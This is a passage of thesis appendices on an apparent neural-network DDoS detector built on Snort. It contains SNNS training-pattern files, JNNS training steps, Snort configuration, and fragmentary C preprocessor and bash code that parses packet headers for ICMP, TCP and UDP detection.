examples are not completed due to their size (e.g. 3504 patterns). However, completed 
executable examples are provided in the enclosed CD. The first sample example is ICMP 
dataset, the second example is TCP dataset and the third is UDP dataset.  
 
SNNS pattern definition file V3.2 
 
Generated at Thu Dec 27 15:10:15 2012 
 
 
No. of patterns : 3504 
No. of input units : 3 
No. of output units : 1 
 
#In: 




































































































0.216009154 0.216009154 0.216009154  
#Out:  




























































0.232200122 0.232200122 0.232200122  
#Out:  




























































0.216814119 0.216814119 0.216814119  
#Out:  




























































0.548572397 0.468582520 0.840293940 
#Out:  




























































0.361422974 0.361422974 0.361422974  
#Out:  




























































0.222511259 0.222511259 0.222511259  
#Out:  




























































0.020519444  0.020519444  0.020519444 
#Out: 




























































0.138616274  0.138616274  0.138616274 
#Out: 




























































0.981274606  0.981274606  0.881274606 
#Out: 




























































0.554229080 0.740673756 0.842033064 
#Out: 




























































0.991347234  0.691347234  0.991347234 
#Out: 




























































0.092359666  0.092359666  0.092359666 
#Out: 




























































0.212895299  0.212895299  0.212895299 
#Out: 

















SNNS pattern definition file V3.2 




No. of patterns : 3148 
No. of input units : 5 




































0.664520548  0.564520548  0.564520548  0.664520548  0.564520548 
#Out: 




























































0.885846043 0.301229169 0.565003949 0.663212345 0.423724247 
#Out: 




























































0.165479452  0.165479452  0.165479452  0.165479452  0.165479452 
#Out: 




























































0.141643836  0.141643836  0.141643836  0.141643836  0.141643836 
#Out: 




























































0.672328767  0.672328767  0.672328767  0.672328767  0.672328767 
#Out: 




























































0.901036901 0.349535886 0.847727829 0.561557127 0.401773469 
#Out: 




























































0.656575342  0.456575342  0.456575342  0.456575342  0.656575342 
#Out: 




























































0.384931507  0.384931507  0.384931507  0.384931507  0.384931507 
#Out: 














SNNS pattern definition file V3.2 
generated at Sat Jan 19 19:30:13 2013 
 
 
No. of patterns : 3017 
No. of input units : 4 









































0.915428060 0.701984133 0.595238716 0.565482001 





























































0.688052113 0.905534546 0.362020373 0.471692562 





























































0.007503411  0.007503411  0.007503411  0.007503411 





























































0.019326967  0.019326967  0.019326967  0.019326967 





























































0.037744429  0.037744429  0.037744429  0.037744429 





























































0.121191451  0.121191451  0.121191451  0.121191451 





























































0.695907231  0.495907231  0.695907231  0.495907231 
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Appendix 6-1  
Following points are steps for training and validating the ANN algorithm with genuine patterns, 
known and unknown DDoS patterns (datasets). This process includes creating TCP, UDP 
and ICMP ANN topological layouts, activation function and learning algorithm outlined in 
Figures 5-4, 5-5 and 5-6 (Chapter 5).  
1. Double click and execute JNNS from its local directory. 
2. Create input, hidden and output layers. This can be done by selecting tools>create> 
layers.  
3. During the node creation, as recommended in JNNS documentation [215][216], select 
unit type as input, hidden or output and leave the rest untouched (default values). 
See below Figure. The default settings provide the Sigmoid (Logistic) activation 
function described in Chapter 5.   
 
 
 Creating the layers and connecting them. 
4. Then the nodes are connected together from input layer to hidden layer and then to 
the output layer. To do this, one needs to select tools>create>connections (Feed-
Forward). 
5. Choose the learning algorithm (Back-Propagation) by selecting Tools>Control 
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Choosing learning algorithm & upload datasets 
6. Once we prepared the datasets with the format that JNNS accepts (Appendix 5-4), 
we uploaded 80% of the datasets for training purposes and 20% to validate it. It is 
recommended by JNNS to use a small portion of the datasets to validate the training 
process and avoid overtraining [215][216]. Furthermore, the training datasets must be 
higher than validation datasets since more patterns assist the algorithm to learn more 
about the attacks. To upload the algorithm, one needs to select Tools>Control 
Panel>patterns. The result of this process is ANN topological layout represented in 
Chapter 5, Figures 5-4, 5-5 and 5-6.  
7. Open the Error Graph to learn about the learning and validation process as shown in 
Chapter 6, Section 6.3.1. 
8. Execute (run) JNNS and observe the Error Graph to identify the learning cycles for 
each protocol as described in Chapter 6 and verify ANN´s learning process.  
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Appendix 6-2  
This configuration file is taken from Snort configure file. The configure file contains different 
configuration variables and settings, but in this Appendix we show the variables that are used 
in our work and disabled the irrelevant variables under <SNORT-AI>/etc/snort.conf. In this 
Appendix, we also show the source code of the Organiser, Victim IP Identifier where the 
Organiser is part of the Snort-AI code. However, the entire code for each component and 
element is too long to be shown in this Appendix. Therefore we show snapshots of the code 
in here and for the entire source code refer to the enclosed CD.  
 
#-------------------------------------------------- 
# Set the network variables: 
# 
# You must change the following variables to reflect your local network. The 
# variable is currently setup for an RFC 1918 address space. 
# 
# var HOME_NET [10.1.1.0/24,192.168.1.0/24] 
# 
# MAKE SURE YOU DON'T PLACE ANY SPACES IN YOUR LIST! 
# In our work we want to retrieve packets from home and external network.  
# 
var HOME_NET any 
 
# Set up the external network addresses as well.  A good start may be "any" 
var EXTERNAL_NET any 
 
# DDoS_Train: Generates the training data sets for DDoS 
# --------------------------------------------------------------------------- 
# Its function is to generate training data sets files for the Artificial Neural Networks used in 





preprocessor ddosai: ddosai ddosai args 
# 
# log_tcpdump: log packets in binary tcpdump format 
# ------------------------------------------------- 
# The only argument is the output file name. 
# 
output log_tcpdump: tcpdump.log 
# 
# database: log to a variety of databases. 
# If database is used to log information, then uncomment the following. We however, do not 
use database and only focused on log files. See the README.database file for more 




# Using the default flow bit value  
# 
config flowbits_size: 64 
# 
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/*Create a struct that can be used later */ 
typedef struct ddosaiSt{ 
        int x; 






/* During  setup initializing process is used */ 
 
void ddosFunction( char *str); 
 






Following is the spp_ddosai.c  C file for ICMP code.  
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void DDosInit(u_char* args); 
void DDosFunction(); 
static void DDosRestartFunction(); 
void DDosCleanExitFunction(); 
 
/*This is used by the ID function */ 
 
typedef struct _IpIdData 
{ 




/* The following functions are required  when a new plug-in is created under pre-processes */ 
  
void SetupDDoS(void){ 




void DDosInit(u_char* args){ 
        printf ("ALAN_DDOS_The DDoS preprocessor has been iniliazed..\n"); 
 
        printf("These args are received---> %s\n", args); 
 
        AddFuncToCleanExitList(DDosCleanExitFunction, NULL); 
        //AddFuncToRestartList(DDosRestartFunction, NULL); 
 
        AddFuncToPreprocList(DDosFunction); 
} 
 
void DDosFunction( struct Packet *P){ 
 printf("The DDOS preprocessor has been called ...\n"); 
} 
 
static void DDosRestartFunction(){} 
void DDosCleanExitFunction(){ } 
 
/* built-in functions that collect packets and provides statistics */ 
 
void DropStats(int iParamIgnored) 
{ 
struct pcap_stat ps; 
float drop = 0.0; 









// collect the packet stats  
if(pcap_stats(pd, &ps)) { 
pcap_perror(pd, "pcap_stats") } 
else { 
recv = (float) ps.ps_recv; 
drop = (float) ps.ps_drop; 
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#ifdef TIMESTATS { 
int oldQFlag = pv.quiet_flag; 
pv.quiet_flag = 0; 
TimeStats(&ps);      
pv.quiet_flag = oldQFlag;} 
#endif 
//we used  Alan to debug only.  
 
  LogMessage("Our Application  received %u packets\n", ps.ps_recv); 
       LogMessage("    Analyzed: %u(%.3f%%)\n", ps.ps_recv - 
ps.ps_drop,ps.ps_recv?CalcPct((float)(ps.ps_recv-ps.ps_drop), (float) ps.ps_recv):0); 
       LogMessage("    Dropped: %u(%.3f%%)\n", ps.ps_drop, 
ps.ps_recv?CalcPct((float)ps.ps_drop, (float) ps.ps_recv):0); 
           } 
 
/* Alan is used for debugging purposes */ 
     
LogMessage("============================================================
=================\n"); 
     LogMessage("Breakdown by protocol:\n"); 
     LogMessage(" Alan   TCP: %-10lu (%.3f%%)%-*s\n",pc.tcp, CalcPct((float) pc.tcp, recv), 
CalcPct((float)pc.tcp,recv + drop)<10?10:9 , " "); 
//     LogMessage("Test for ICMP:, %-10lu (%.3f%%)%-*s\n", pc.icmp, CalcPct((float) pc.icmp, 
recv)); 
     LogMessage("Alan    UDP: %-10lu (%.3f%%)%-*s\n",pc.udp, CalcPct((float) pc.udp, recv), 
CalcPct((float)pc.udp,recv + drop)<10?10:9, " "); 
    LogMessage("Alan   ICMP: %-10lu (%.3f%%)%-*s\n", pc.icmp, CalcPct((float) pc.icmp, 
recv), CalcPct((float)pc.icmp,recv + drop)<10?10:9, " "); 
    LogMessage("Alan    ARP: %-10lu (%.3f%%)\n", pc.arp, CalcPct((float) pc.arp, recv)); 
    LogMessage("Alan  EAPOL: %-10lu (%.3f%%)\n", pc.eapol, CalcPct((float) pc.eapol, 
recv)); 
    LogMessage("Alan   IPv6: %-10lu (%.3f%%)\n", pc.ipv6, CalcPct((float) pc.ipv6, recv)); 
    LogMessage("Alan ETHLOOP: %-10lu (%.3f%%)\n", pc.ethloopback, CalcPct((float) 
pc.ethloopback, recv)); 
   LogMessage("Alan    IPX: %-10lu (%.3f%%)\n",  pc.ipx, CalcPct((float) pc.ipx, recv)); 
    LogMessage("Alan   FRAG: %-10lu (%.3f%%)%-*s\n", pc.frags, CalcPct((float) pc.frags, 
recv),CalcPct((float)pc.udp,recv + drop)<10?10:9, " "); 
    LogMessage("Alan  OTHER: %-10lu (%.3f%%)\n", pc.other, CalcPct((float) pc.other, recv)); 
    LogMessage("Alan DISCARD: %-10lu (%.3f%%)\n", pc.discards, CalcPct((float) 
pc.discards, recv)); 
    LogMessage("Action Stats:\n"); 
    LogMessage("ALERTS: %u\n", pc.alert_pkts); 
   LogMessage("LOGGED: %u\n", pc.log_pkts); 
   LogMessage("PASSED: %u\n", pc.pass_pkts); 
 
//      } 
} 
 
/*Decode ICMP packets, arrange them into files, then picked by bash scripts for further 
preparation for ANN code */ 
 
void DecodeICMP(u_int8_t * pkt, const u_int32_t len, Packet * p){ 
struct pcap_stat ps; 
 u_int16_t csum; 
 u_int32_t orig_p_caplen; 
 
 /*set the header ptr first */ 
   p->icmph = (ICMPHdr *) pkt; 
int counter =1; 
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/* struct rec my_record; */ 
int dst_ip, src_ip,icmp_seq,icmp_id, icmp_type; 
  //long   dst_id; 
//FILE *ptr_myfile; 
FILE *fp, *fpp; 
int x; 
 
if (pc.icmp < 600) { 
 
 
        LogMessage ("ICMP packets are smaller than 600 threshold\n"); 
        }else if(pc.icmp>601){ 
 
       int max =18220;  
       int min=9142; 
      int timeRemaining; 
       timeRemaining=rand()%(max-min) + min; 
 
     if(pc.icmp < timeRemaining){ 
 
     if (p->icmph->type == 8)   { 
//     LogMessage ("packets GREATER than 30 packets,The PC.ICMP is %d and random  
%d\n", pc.icmp, timeRemaining); 
 
       fp=fopen("/root/seqDir/dst.txt", "a"); 
    dst_ip= inet_ntoa(p->iph->ip_dst); 
 
/*source info*/ 
//      src_ip= inet_ntoa(p->iph->ip_src); 
//      icmp_seq = ntohs(p->icmph->s_icmp_seq);icmp_id = p->icmph->s_icmp_id; 
 






icmp_seq = ntohs(p->icmph->s_icmp_seq); 
icmp_id = p->icmph->s_icmp_id; 
 





      printf ("This is type 3 ICMP\n"); 
 
     fpp=fopen("/root/seqDir/dst-3.txt", "a"); 
    dst_ip= inet_ntoa(p->iph->ip_dst); 
    icmp_type=p->icmph->type; 
 
    fprintf(fpp, "%s:%d\n", dst_ip,icmp_type); 
    fclose(fpp); 
 
   fpp=fopen("/root/seqDir/src-3.txt", "a"); 
   src_ip= inet_ntoa(p->iph->ip_src); 
   icmp_type=p->icmph->type; 
 
   fprintf(fpp, "%s:%d\n", src_ip,icmp_type); 
    fclose(fpp); }  } 




  //if(pc.icmp == timeRemaining) 
 
   int ret=system("cd /root/seqDir && bash new.sh"); 
    printf(" pc.icmp ->%d %d and DecodeICMP is called again\n," , pc.icmp, timeRemaining); 
 
   exit(1); } 
}//end of x loop 
} //end of function 
 
 
Following is the spp_ddosai.c  C  file for TCP code.  
 
 




























void DDosInit(u_char* args); 
void DDosFunction(); 
static void DDosRestartFunction(); 
void DDosCleanExitFunction(); 
 
/*This is used by the ID function */ 
 
typedef struct _IpIdData 
{ 




/* The following functions are required  when a new plug-in is created under pre-processes */ 
  
void SetupDDoS(void){ 
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void DDosInit(u_char* args){ 
        printf ("ALAN_DDOS_The DDoS preprocessor has been initialized..\n"); 
 
        printf("These args are received---> %s\n", args); 
 
        AddFuncToCleanExitList(DDosCleanExitFunction, NULL); 
        //AddFuncToRestartList(DDosRestartFunction, NULL); 
 
        AddFuncToPreprocList(DDosFunction); 
} 
 
void DDosFunction( struct Packet *P){ 
 printf("The DDOS preprocessor has been called ...\n"); 
} 
 
static void DDosRestartFunction(){} 
void DDosCleanExitFunction(){ } 
 
/* built-in functions that collect packets and provides statistics */ 
 
void DropStats(int iParamIgnored) 
{ 
struct pcap_stat ps; 
float drop = 0.0; 









// collect the packet stats  
if(pcap_stats(pd, &ps)) { 
pcap_perror(pd, "pcap_stats") } 
else { 
recv = (float) ps.ps_recv; 
drop = (float) ps.ps_drop; 
#ifdef TIMESTATS { 
int oldQFlag = pv.quiet_flag; 
pv.quiet_flag = 0; 
TimeStats(&ps);  
pv.quiet_flag = oldQFlag;} 
#endif 
//we used  Alan to debug only 
  LogMessage("Our Application  received %u packets\n", ps.ps_recv); 
       LogMessage("    Analyzed: %u(%.3f%%)\n", ps.ps_recv - 
ps.ps_drop,ps.ps_recv?CalcPct((float)(ps.ps_recv-ps.ps_drop), (float) ps.ps_recv):0); 
       LogMessage("    Dropped: %u(%.3f%%)\n", ps.ps_drop, 
ps.ps_recv?CalcPct((float)ps.ps_drop, (float) ps.ps_recv):0); 
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/* Alan is used for debugging purposes */ 
     
LogMessage("============================================================
=================\n"); 
     LogMessage("Breakdown by protocol:\n"); 
     LogMessage(" Alan   TCP: %-10lu (%.3f%%)%-*s\n",pc.tcp, CalcPct((float) pc.tcp, recv), 
CalcPct((float)pc.tcp,recv + drop)<10?10:9 , " "); 
//     LogMessage("Test for ICMP:, %-10lu (%.3f%%)%-*s\n", pc.icmp, CalcPct((float) pc.icmp, 
recv)); 
     LogMessage("Alan    UDP: %-10lu (%.3f%%)%-*s\n",pc.udp, CalcPct((float) pc.udp, recv), 
CalcPct((float)pc.udp,recv + drop)<10?10:9, " "); 
    LogMessage("Alan   ICMP: %-10lu (%.3f%%)%-*s\n", pc.icmp, CalcPct((float) pc.icmp, 
recv), CalcPct((float)pc.icmp,recv + drop)<10?10:9, " "); 
    LogMessage("Alan    ARP: %-10lu (%.3f%%)\n", pc.arp, CalcPct((float) pc.arp, recv)); 
    LogMessage("Alan  EAPOL: %-10lu (%.3f%%)\n", pc.eapol, CalcPct((float) pc.eapol, 
recv)); 
    LogMessage("Alan   IPv6: %-10lu (%.3f%%)\n", pc.ipv6, CalcPct((float) pc.ipv6, recv)); 
    LogMessage("Alan ETHLOOP: %-10lu (%.3f%%)\n", pc.ethloopback, CalcPct((float) 
pc.ethloopback, recv)); 
   LogMessage("Alan    IPX: %-10lu (%.3f%%)\n",  pc.ipx, CalcPct((float) pc.ipx, recv)); 
    LogMessage("Alan   FRAG: %-10lu (%.3f%%)%-*s\n", pc.frags, CalcPct((float) pc.frags, 
recv),CalcPct((float)pc.udp,recv + drop)<10?10:9, " "); 
    LogMessage("Alan  OTHER: %-10lu (%.3f%%)\n", pc.other, CalcPct((float) pc.other, recv)); 
    LogMessage("Alan DISCARD: %-10lu (%.3f%%)\n", pc.discards, CalcPct((float) 
pc.discards, recv)); 
    LogMessage("Action Stats:\n"); 
    LogMessage("ALERTS: %u\n", pc.alert_pkts); 
   LogMessage("LOGGED: %u\n", pc.log_pkts); 




/*Decode TCP packets, arrange them into files, then picked by bash scripts for further 
preparation for ANN code */ 
 
void DecodeTCP(u_int8_t * pkt, const u_int32_t len, Packet * p) 
{ 
    struct pseudoheader       // pseudo header for TCP checksum calculations  
    { 
        u_int32_t sip, dip;   // IP addr  
        u_int8_t  zero;       // checksum placeholder  
        u_int8_t  protocol;   // protocol number  
        u_int16_t tcplen;     // tcp packet length  
    }; 
    u_int32_t hlen;            // TCP header length  
    u_short csum;              // checksum  
    struct pseudoheader ph;    // pseudo header declaration  
 
    // lay TCP on top of the data cause there is enough of it!  
    p->tcph = (TCPHdr *) pkt; 
char tcp_flags; 
    
FILE *ftcp; 
 
        if (pc.tcp < 4000) 
        { 
                LogMessage ("TCP packets smaller than the threshold 4000 packets\n"); 
 
        }else if(pc.tcp > 4004) 
        { 
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             int max =13822; 
 
             int min=6142; 
             int timeRemaining; 
             timeRemaining=rand()%(max-min+1) + min; 
 
                if(pc.tcp < timeRemaining) 
                { 
                int dst_ip_tcp, src_ip_tcp, dst_port, src_port; 
                char port; 
                unsigned long tcp_seq; 
 
                printf ("Packets are GREATER -> pc.tcp %d and random is %d\n", pc.tcp, 
timeRemaining ); 
 
                 src_port = ntohs(p->tcph->th_sport); 
                 dst_port = ntohs(p->tcph->th_dport); 
                /*This is for LAND attack when both ports and IP addresses are the same as 
destination*/ 
                 if (src_port == dst_port) 
                 { 
                 port = 1; 
                 }else{ 
                 port =0; 
                 } 
ftcp=fopen("/root/snort-tcp/seqDir/dst-tcp.txt", "a"); 
                dst_ip_tcp= inet_ntoa(p->iph->ip_dst); 
                fprintf(ftcp, "%s  \n", dst_ip_tcp); 
                fclose(ftcp); 
 
                //src_ip_tcp= inet_ntoa(p->iph->ip_src); 
 
                ftcp=fopen("/root/snort-tcp/seqDir/src-tcp.txt", "a"); 
                src_ip_tcp= inet_ntoa(p->iph->ip_src); 
                tcp_seq=  (u_long)  ntohl(p->tcph->th_seq); 
                /*For reset attack R */ 
                if(p->tcph->th_flags & TH_SYN) 
                tcp_flags = 'S'; 
                if(p->tcph->th_flags & TH_PUSH) 
                tcp_flags = 'P'; 
                if(p->tcph->th_flags & TH_RST) 
                tcp_flags = 'R'; 
                if(p->tcph->th_flags & TH_ACK) 
                tcp_flags = 'A'; 
                if(p->tcph->th_flags & TH_FIN) 
                tcp_flags = 'F'; 
 
                fprintf(ftcp, "%s:%c:%lu:%d:%d \n", src_ip_tcp, tcp_flags, tcp_seq, src_port, 
dst_port); 
                fclose(ftcp); 
}else 
                { 
                system("cd /root/snort-tcp/seqDir && bash tcpCleaning.sh"); 
                printf ("Program exit\n"); 
                exit(1); 
 
                } } 
 
        hlen = TCP_OFFSET(p->tcph) << 2; 
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    DEBUG_WRAP(DebugMessage(DEBUG_DECODE, "TCP th_off is %d, passed len is 
%lu\n", 






Following is the spp_ddosai.c  C file for UDP code.  
 
 




























void DDosInit(u_char* args); 
void DDosFunction(); 
static void DDosRestartFunction(); 
void DDosCleanExitFunction(); 
 
/*This is used by the ID function */ 
 
typedef struct _IpIdData 
{ 




/* The following functions are required  when a new plug-in is created under pre-processes */ 
  
void SetupDDoS(void){ 
        printf ("ALAN_DDOS_The Please check if this preprocessor is in the config file.\n"); 
RegisterPreprocessor("ddosai", DDosInit); 
} 
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void DDosInit(u_char* args){ 
        printf ("ALAN_DDOS_The DDoS preprocessor has been iniliazed..\n"); 
 
        printf("These args are received---> %s\n", args); 
 
        AddFuncToCleanExitList(DDosCleanExitFunction, NULL); 
        //AddFuncToRestartList(DDosRestartFunction, NULL); 
 
        AddFuncToPreprocList(DDosFunction); 
} 
 
void DDosFunction( struct Packet *P){ 
 printf("The DDOS preprocessor has been called ...\n"); 
} 
 
static void DDosRestartFunction(){} 
void DDosCleanExitFunction(){ } 
 
/* built-in functions that collect packets and provides statistics */ 
 
void DropStats(int iParamIgnored) 
{ 
struct pcap_stat ps; 
float drop = 0.0; 









// collect the packet stats  
if(pcap_stats(pd, &ps)) { 
pcap_perror(pd, "pcap_stats") } 
else { 
recv = (float) ps.ps_recv; 
drop = (float) ps.ps_drop; 
#ifdef TIMESTATS { 
int oldQFlag = pv.quiet_flag; 
pv.quiet_flag = 0; 
TimeStats(&ps);  
pv.quiet_flag = oldQFlag;} 
#endif 
 
//we used  Alan to debug only 
 
  LogMessage("Our Application  received %u packets\n", ps.ps_recv); 
       LogMessage("    Analyzed: %u(%.3f%%)\n", ps.ps_recv - 
ps.ps_drop,ps.ps_recv?CalcPct((float)(ps.ps_recv-ps.ps_drop), (float) ps.ps_recv):0); 
       LogMessage("    Dropped: %u(%.3f%%)\n", ps.ps_drop, 
ps.ps_recv?CalcPct((float)ps.ps_drop, (float) ps.ps_recv):0); 






 - 360 -  
 
/* Alan is used for debugging purposes */ 
 
     
LogMessage("============================================================
=================\n"); 
     LogMessage("Breakdown by protocol:\n"); 
     LogMessage(" Alan   TCP: %-10lu (%.3f%%)%-*s\n",pc.tcp, CalcPct((float) pc.tcp, recv), 
CalcPct((float)pc.tcp,recv + drop)<10?10:9 , " "); 
//     LogMessage("Alan ICMP:, %-10lu (%.3f%%)%-*s\n", pc.icmp, CalcPct((float) pc.icmp, 
recv)); 
     LogMessage("Alan    UDP: %-10lu (%.3f%%)%-*s\n",pc.udp, CalcPct((float) pc.udp, recv), 
CalcPct((float)pc.udp,recv + drop)<10?10:9, " "); 
    LogMessage("Alan   ICMP: %-10lu (%.3f%%)%-*s\n", pc.icmp, CalcPct((float) pc.icmp, 
recv), CalcPct((float)pc.icmp,recv + drop)<10?10:9, " "); 
    LogMessage("Alan    ARP: %-10lu (%.3f%%)\n", pc.arp, CalcPct((float) pc.arp, recv)); 
    LogMessage("Alan  EAPOL: %-10lu (%.3f%%)\n", pc.eapol, CalcPct((float) pc.eapol, 
recv)); 
    LogMessage("Alan   IPv6: %-10lu (%.3f%%)\n", pc.ipv6, CalcPct((float) pc.ipv6, recv)); 
    LogMessage("Alan ETHLOOP: %-10lu (%.3f%%)\n", pc.ethloopback, CalcPct((float) 
pc.ethloopback, recv)); 
   LogMessage("Alan    IPX: %-10lu (%.3f%%)\n",  pc.ipx, CalcPct((float) pc.ipx, recv)); 
    LogMessage("Alan   FRAG: %-10lu (%.3f%%)%-*s\n", pc.frags, CalcPct((float) pc.frags, 
recv),CalcPct((float)pc.udp,recv + drop)<10?10:9, " "); 
    LogMessage("Alan  OTHER: %-10lu (%.3f%%)\n", pc.other, CalcPct((float) pc.other, recv)); 
    LogMessage("Alan DISCARD: %-10lu (%.3f%%)\n", pc.discards, CalcPct((float) 
pc.discards, recv)); 
    LogMessage("Action Stats:\n"); 
    LogMessage("ALERTS: %u\n", pc.alert_pkts); 
   LogMessage("LOGGED: %u\n", pc.log_pkts); 




/*Decode UDP packets, arrange them into files, then picked by bash scripts for further 
preparation for ANN code */ 
 
void DecodeUDP(u_int8_t * pkt, const u_int32_t len, Packet * p) 
{ 
    struct pseudoheader 
    { 
        u_int32_t sip, dip; 
        u_int8_t  zero; 
        u_int8_t  protocol; 
        u_int16_t udplen; 
    }; 
    u_short csum; 
    u_int16_t uhlen; 
    struct pseudoheader ph; 
 
    int dst_ip_udp, dst_port_udp; 
    int udp_length; 
    int src_ip_udp,src_port_udp; 
 
    FILE *fudp, *fudps; 
    p->udph = (UDPHdr *) pkt; 
    if(pc.udp < 4000) 
    { 
            printf ("UDP packets are smaller than threshold - 4000 packets %d \n", pc.udp); 
    }else if(pc.udp>4004){ 
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             int max =10822; 
             int min=6142; 
             int timeRemaining; 
             timeRemaining=rand()%(max-min) + min; 
 
                if(pc.udp < timeRemaining) 
                { 
 
  //printf ("UDP PACKETS %d\n", pc.udp); 













dst_port_udp = ntohs(p->udph->uh_dport); 
src_port_udp = ntohs(p->udph->uh_sport); 
uhlen = ntohs(p->udph->uh_len) - UDP_HEADER_LEN; 
 
fprintf(fudps, "%s:%d:%d:%d\n",  src_ip_udp, src_port_udp, dst_port_udp,uhlen); 
fclose(fudps); 
    }else{ 
 
                system("cd /root/snort-udp/seqDir/ && bash udpCleaning.sh"); 




Following TCP Bash code combines Victim IP-Identifier and Calculator to prepare the 
retrieved packets headers for ANN engine in one script where each is separately called. 
Since all three TCP, UDP and ICMP source codes are same in structure, in this Appendix, we 
refer to TCP code while all three TCP, UDP and ICMP codes and their dependency codes are 




#Find the highest duplicate IP address 
##This is to find the destination IP address with highest traffic towards it 
paste /root/snort-tcp/seqDir/dst-tcp.txt /root/snort-tcp/seqDir/src-tcp.txt > /root/snort-
tcp/seqDir/bothTCP.txt 
cut -f1  /root/snort-tcp/seqDir/bothTCP.txt | sort | uniq -c | sort | awk '{print $2;}'> /root/snort-
tcp/seqDir/head-TCP.txt 
ip=$(tail -1 head-TCP.txt) 
#Then get any associates with it 
echo $ip 
awk  '$1=="'"$ip"'" {print}' /root/snort-tcp/seqDir/bothTCP.txt > /root/snort-tcp/seqDir/final-
TCP.txt 
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#Then cut the 2nd column and count the number of packets 
#Here the code prepares the organised retrieved packet headers for ANN. 
cut -f1  /root/snort-tcp/seqDir/final-TCP.txt | sort | wc -l  > /root/snort-tcp/seqDir/tcp1.txt 
cut -f2  /root/snort-tcp/seqDir/final-TCP.txt | cut -f1 -d ":" | sort | wc -l > /root/snort-
tcp/seqDir/tcp2.txt 
cut -f3 -d":" /root/snort-tcp/seqDir/final-TCP.txt | sort | wc -l > /root/snort-tcp/seqDir/tcp3.txt 
cut -f4 -d":" /root/snort-tcp/seqDir/final-TCP.txt | sort | wc -l > /root/snort-tcp/seqDir/tcp4.txt 
cut -f5 -d":" /root/snort-tcp/seqDir/final-TCP.txt | sort | wc -l > /root/snort-tcp/seqDir/tcp5.txt 
#cut -f5 -d":" /root/snort-tcp/seqDir/final-TCP.txt | sort | wc -l > /root/snort-tcp/seqDir/tcp5.txt 
#paste /root/snort-tcp/seqDir/tcp1.txt /root/snort-tcp/seqDir/tcp2.txt /root/snort-
tcp/seqDir/tcp3.txt /root/snort-tcp/seqDir/tcp4.txt  >> /root/snort-tcp/seqDir/tcpBormalTraffic 
paste /root/snort-tcp/seqDir/tcp1.txt /root/snort-tcp/seqDir/tcp2.txt /root/snort-
tcp/seqDir/tcp3.txt /root/snort-tcp/seqDir/tcp4.txt /root/snort-tcp/seqDir/tcp5.txt >> /root/snort-
tcp/seqDir/TcpForTesting 
paste /root/snort-tcp/seqDir/tcp1.txt /root/snort-tcp/seqDir/tcp2.txt /root/snort-
tcp/seqDir/tcp3.txt  /root/snort-tcp/seqDir/tcp4.txt /root/snort-tcp/seqDir/tcp5.txt >> /root/snort-
tcp/seqDir/TcpForThis 
#paste /root/snort-tcp/seqDir/tcp1.txt /root/snort-tcp/seqDir/tcp2.txt /root/snort-





rm  /root/snort-tcp/seqDir/dst-tcp.txt 
sleep 1 
#number=3; 
#wc -l ForTesting > forT 
number=$( wc -l TcpForThis > tcpforT | cut -f1 tcpforT -d " ") 
#value ='2 ForTesting' 
#the code loops for three times and prepare the traffic for ANN. 
echo $number 
if [ $number -eq 3 ] 
then 
        echo "It is greater than 3" 
       #Here the calculation and normalization takes place. 
        bash /root/snort-tcp/seqDir/tcp-normalization.sh > /root/snort-tcp/seqDir/tcp-
attackForSnort.txt 
      
        sleep 1 
 
        #echo  $ip > /root/attackResults 
          #calling ANN to analyse the traffic 
   
      /root/annTCP/annTCP > /root/snort-tcp/seqDir/tcp-attack 
        bash /root/snort-tcp/seqDir/tcp-oneZero.sh > /root/snort-tcp/seqDir/tcp-numbers.txt 
 
       echo $ip >> /root/snort-tcp/attackR 
        bash /root/snort-tcp/seqDir/decimalNumber.sh >> /root/snort-tcp/attackR 
 
        sed -n 1,4p /root/snort-tcp/attackR > /root/snort-tcp/tcp-attackResults 
 
        rm /root/snort-tcp/attackR 
 
#       echo "TCP attack - Destintation attack ip" $ip >> /root/snort-tcp/tcp-attackResults 
        rm /root/snort-tcp/seqDir/TcpForThis 
 
 
i=$(sed -n 2p /root/snort-tcp/tcp-attackResults) 
j=$(sed -n 3p /root/snort-tcp/tcp-attackResults) 
k=$(sed -n 4p /root/snort-tcp/tcp-attackResults) 
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#Prepare all the retrieved data in a text format and the convert them to pdf file 
 
echo "This is a Mini report from DDoS Detector 1 which provides information about the traffic 
on its network. The Security Officer uses such information for the purpose of logistics or 
forensics." >> /root/snort-tcp/email 
echo "--------------------------------------------------------------------------------" >> /root/snort-tcp/email 
 
date >> /root/snort-tcp/email 
echo " " >> /root/snort-tcp/email 
 
 if [ $i -eq 1 ] && [ $j -eq 1 ] && [ $k -eq 1 ] 
        then 
        echo "--> Possible attack has been detected, DDoS Detector is checking" >> /root/snort-
tcp/email 
        #mk code is called to simplify the output from ANN for the defence  
        # component. Then another code within mk.sh is called which contain 
        #the code to defend (defence component) against the attack. 
        # This piece of code is called mkd. Within the same code, other codes 
        # that is used to encrypt message and send email or share knowledge are kept. 
        bash /root/snort-tcp/seqDir/mk.sh 
        elif [ $i -eq 1 ] && [ $j -eq 1 ] && [ $k -eq 0 ] 
        then 
        echo "--> Possible attack has been detected, DDoS Detector is checking checking " >> 
/root/snort-tcp/email 
        bash /root/snort-tcp/seqDir/mk.sh 
        elif [ $i -eq 0 ] && [ $j -eq 1 ] && [ $k -eq 1 ] 
        then 
        echo "--> Possible attack has been detected, DDoS Detector is checking is checking " 
>> /root/snort-tcp/email 
        bash /root/snort-tcp/seqDir/mk.sh 
        elif [ $i -eq 1 ] && [ $j -eq 0 ] && [ $k -eq 1 ] 
        then 
        echo "Possible attack has been detected, DDoS Detector is checking " >> /root/snort-
tcp/email 
        bash /root/snort-tcp/seqDir/mk.sh 
        elif [ $i -eq 1 ] && [ $j -eq 0 ] && [ $k -eq 0 ] 
        then 
        echo "Possible attack has been detected, DDoS Detector is checking " >> /root/snort-
tcp/email 
        bash /root/snort-tcp/seqDir/mk.sh 
        elif [ $i -eq 0 ] && [ $j -eq 1 ] && [ $k -eq 0 ] 
        then 
        echo "Possible attack has been detected, DDoS Detector is checking " >> /root/snort-
tcp/email 
        bash /root/snort-tcp/seqDir/mk.sh 
        elif [ $i -eq 0 ] && [ $j -eq 0 ] && [ $k -eq 1 ] 
        then 
        echo "Posible attack has been detected, DDoS Detector is checking " >> /root/snort-
tcp/email 
        bash /root/snort-tcp/seqDir/mk.sh 
 
elif [ $i -eq 0 ] || [ $j -eq 0 ] || [ $k -eq 0 ] 
        then 
        echo "--> No attack, traffic  is clean " >> /root/snort-tcp/email 
        # inform other DDoS Detectors, even retrieved packets are genuine.  
        /usr/bin/python    /root/snort-tcp/files/ClientEncrypt.py  
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        else 
        echo "--> The output  is 2, therefore we need to check data received  from other DDoS 
Detectors" >> /root/snort-tcp/email 
        bash /root/snort-tcp/seqDir/mk.sh 
   fi 








